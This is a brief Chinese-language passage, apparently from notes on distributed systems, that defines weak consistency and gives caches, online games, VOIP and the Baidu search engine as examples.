1、Weak 弱一致性: 当你写入一个新值后,读操作在数据副本上可能读出来,也可能读不出来。比如:某些cache系统,网络游戏其它玩家的数据和你没什么关系,VOIP这样的系统,或是百度搜索引擎。